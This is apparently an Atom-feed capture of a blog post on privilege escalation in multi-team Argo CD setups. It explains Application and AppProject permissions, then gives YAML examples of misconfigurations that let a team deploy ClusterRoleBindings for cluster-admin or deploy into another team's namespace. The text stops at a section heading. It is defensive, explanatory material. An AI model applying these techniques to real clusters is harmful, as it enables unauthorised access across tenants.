&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps:&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;↳ applications/&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;- gotta-pwn-em-all-prepare-app.yaml&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;↳ manifest/&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;↳ gotta-pwn-em-all-prepare/&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;- gotta-pwn-em-all-project.yaml&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;- gotta-pwn-em-all-execute-app.yaml&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;↳ gotta-pwn-em-all-execute/&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;- gotta-pwn-em-all-clusteradmin.yaml&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</content>
 </entry>
 
 <entry>
   <title>Argo CD Privilege Escalations</title>
   <link href="https://szabo.jp/2021/05/19/argo-cd-privilege-escalations/"/>
   <updated>2021-05-19T06:30:00+00:00</updated>
   <id>https://szabo.jp/2021/05/19/argo-cd-privilege-escalations</id>
   <content type="html">&lt;p&gt;Consider a multi-team GitOps setup with &lt;a href=&quot;https://argoproj.github.io/argo-cd/&quot;&gt;Argo CD&lt;/a&gt;: each team has their own repository that holds the team’s Kubernetes yaml files that Argo CD deploys to a shared cluster. Inside the cluster, teams are separated into their own namespaces, and Argo CD only deploys resources to the namespace that belongs to the given team.&lt;/p&gt;

&lt;p&gt;Let’s see how this setup can be misconfigured to allow deploying to other team’s namespaces or to the cluster level!&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;First we need to understand how Argo CD manages permissions (in the context of what can be deployed from a given repository), and for that we need to look into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; Kubernetes objects used by Argo CD.&lt;/p&gt;

&lt;h2 id=&quot;argo-cd-application&quot;&gt;Argo CD Application&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Application CRD is the Kubernetes resource object representing a deployed application instance in an environment (&lt;a href=&quot;https://argoproj.github.io/argo-cd/operator-manual/declarative-setup/#applications&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example (&lt;a href=&quot;https://argoproj.github.io/argo-cd/operator-manual/declarative-setup/#applications&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Application&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;guestbook&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/argoproj/argocd-example-apps.git&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;HEAD&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;guestbook&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;guestbook&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This object instructs Argo to grab the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HEAD&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/argoproj/argocd-example-apps.git&lt;/code&gt;, go into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;guestbook&lt;/code&gt; folder, take all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yaml&lt;/code&gt; files from there and deploy them to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kubernetes.default.svc&lt;/code&gt; cluster into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;guestbook&lt;/code&gt; namespace. (The namespace defined here is just the default one, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yaml&lt;/code&gt; files can override it.)&lt;/p&gt;

&lt;p&gt;Let’s take a note of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project: my-project&lt;/code&gt; declaration too, which specifies the Argo CD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; is part of, which will be very imprtoant for the permissions.&lt;/p&gt;

&lt;p&gt;Since this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; itself is a Kubernetes object, the folder it deploys from can contain other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applications&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProjects&lt;/code&gt; (&lt;a href=&quot;https://argoproj.github.io/argo-cd/operator-manual/declarative-setup/#app-of-apps&quot;&gt;see&lt;/a&gt;), which is often used to delege deployment and deploy applications from multiple repos, e.g. from separate repos of each team.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; object itself always goes to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argocd&lt;/code&gt; namespace in the cluster where Argo CD is deployed. (Though this namespace can be renamed.)&lt;/p&gt;

&lt;h2 id=&quot;argo-cd-appproject&quot;&gt;Argo CD AppProject&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The AppProject CRD is the Kubernetes resource object representing a logical grouping of applications. (&lt;a href=&quot;https://argoproj.github.io/argo-cd/operator-manual/declarative-setup/#projects&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example (&lt;a href=&quot;https://argoproj.github.io/argo-cd/operator-manual/declarative-setup/#projects&quot;&gt;based on&lt;/a&gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;AppProject&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Example Project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/argoproj/argocd-example-apps.git&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/argoproj/other-example-app.git&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;guestbook&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# Deny all cluster-scoped resources from being created, except for Namespace&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;clusterResourceWhitelist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Namespace&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# Allow all namespaced-scoped resources to be created, except for ResourceQuota, NetworkPolicy&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespaceResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ResourceQuota&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;NetworkPolicy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For most attributes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt; can be used too to indicate everything (e.g. deploy from any source repo, deploy to any namespace or server, allow or deny all resources).&lt;/p&gt;

&lt;p&gt;Most of the attributes are defining the permissions for the apps that belong to this project. Any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; deployed to the cluster can use any of the existing projects, and the projects can not restrict this (e.g. you can’t say that only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applications&lt;/code&gt;, whos yaml file is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/argoproj/argocd-example-apps.git&lt;/code&gt; may use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my-project&lt;/code&gt; project). Restrictions can only be applied to the resources deployed by the apps.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sourceRepos&lt;/code&gt; define the list of repositories the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applications&lt;/code&gt; of this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; can deploy from (so the possible values for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec.source.repoURL&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt;). Wildcards are supported, but when used as part of a string, &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/3759&quot;&gt;the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; stops at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;&lt;/a&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/proj/*&lt;/code&gt; will match &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/proj/app&lt;/code&gt; but not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/proj/app/module&lt;/code&gt;). For this usecase &lt;a href=&quot;https://github.com/argoproj/argo-cd/pull/4085&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt; was added&lt;/a&gt;, though I haven’t tested that. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt; works as elsewhere and matches everything.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;destinations&lt;/code&gt; define the list of namespaces and clusters resources can be deployed to, matching the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spec.destination&lt;/code&gt;. Keep in mind that defining a namespace here doesn’t prevent &lt;a href=&quot;https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/#not-all-objects-are-in-a-namespace&quot;&gt;non-namespaced resources&lt;/a&gt; to be deployed to the defined server.&lt;/p&gt;

&lt;p&gt;Kubernetes has namespaced and &lt;a href=&quot;https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/#not-all-objects-are-in-a-namespace&quot;&gt;non-namespaced (or cluster) resources&lt;/a&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; defines permissions for the two category separately (similarly to &lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole&quot;&gt;Role and ClusterRole&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clusterResourceWhitelist&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clusterResourceBlacklist&lt;/code&gt; specifies which non-namespaced objects can be deployed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Blacklist&lt;/code&gt; forbids the listed objects, but allows everything else. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Whitelist&lt;/code&gt; allows the listed, forbids everything else.)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespaceResourceWhitelist&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespaceResourceBlacklist&lt;/code&gt; specifies which namespaced objects can be deployed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What happens if neither black- nor whitelist is defined for an object type? For namespace resources the default is to allow all, while for cluster resources the default is to deny all (though &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/5540&quot;&gt;there used to be a bug allowing both&lt;/a&gt;). Not defined or defined as an empty array behaves the same (last time I checked), so if you want to forbid everything, then instead of setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Whitelist&lt;/code&gt; to an empty array, set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Blacklist&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt;, e.g.:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;  &lt;span class=&quot;na&quot;&gt;namespaceResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This can get tricky (e.g. what happens if both whitelist and blacklist is defined), so I recommend looking at the source code of Argo CD: the &lt;a href=&quot;https://github.com/argoproj/argo-cd/blob/master/pkg/apis/application/v1alpha1/types.go#:~:text=func%20(proj%20AppProject)%20IsGroupKindPermitted(&quot;&gt;IsGroupKindPermitted function handles this logic&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; object itself always goes to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argocd&lt;/code&gt; namespace in the cluster where Argo CD is deployed.&lt;/p&gt;

&lt;h2 id=&quot;privilege-escalations&quot;&gt;Privilege escalations&lt;/h2&gt;

&lt;p&gt;With all of this out of the way, lets look into potential issues in this. The goal is to deploy to a place we shouldn’t be able to deploy to, for example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;deploy a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ClusterRoleBinding&lt;/code&gt; that gives us &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cluster-admin&lt;/code&gt; 👑&lt;/li&gt;
  &lt;li&gt;deploy a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBinding&lt;/code&gt; that gives us &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; over an other namespace 🤘&lt;/li&gt;
  &lt;li&gt;deploy a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pod&lt;/code&gt; that uses someone elses’s resources 👌&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;appproject-with-too-permissive-clusternamespaceresourcewhiteblacklist-configuration&quot;&gt;AppProject with too permissive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[cluster|namespace]Resource[White|Black]list&lt;/code&gt; configuration&lt;/h3&gt;

&lt;p&gt;Generally namespace resources are yours if you can deploy to the namespace. If your user has limited access via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl&lt;/code&gt;, you can still deploy a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBinding&lt;/code&gt; to the namespace to give you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; over the namespace, but that will still be limited to your own namespace. However if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clusterResource[White|Black]lists&lt;/code&gt; are not properly configured, that can give you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cluster-admin&lt;/code&gt; over the entire cluster.&lt;/p&gt;

&lt;p&gt;For example consider a project with this configuration:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;clusterResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Namespace&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;namespaceResourceBlacklist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ResourceQuota&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;NetworkPolicy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This will allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBinding&lt;/code&gt;s into the namespace, but also &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ClusterRoleBinding&lt;/code&gt;s to the cluster.&lt;/p&gt;

&lt;h3 id=&quot;appproject-with-wildcard-sourcerepos&quot;&gt;AppProject with wildcard sourceRepos&lt;/h3&gt;

&lt;p&gt;If an other team’s AppProject is defined like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;other-team-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Example Project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;other-team&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then we can use it to deploy to their namespace by simple setting our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt;’s project to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;other-team-project&lt;/code&gt; while using yaml files from our own repo:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;other-team-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps.git&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;HEAD&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;manifest/gotta-pwn-em-all&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;other-team&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Whether we can get admin, or if we can only deploy Pods to the other team’s namespace depends on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[cluster|namespace]Resource[White|Black]list&lt;/code&gt; configuration for the project.&lt;/p&gt;

&lt;p&gt;The same is possible if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sourceRepos&lt;/code&gt; are not fully wildcard, but they match our repo, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;- https://github.com/**&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;- https://github.com/*/*&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;- https://github.com/our-org/*&lt;/code&gt; would work with a repo of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/our-org/my-team.git&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;appproject-with-wildcard-destination&quot;&gt;AppProject with wildcard destination&lt;/h3&gt;

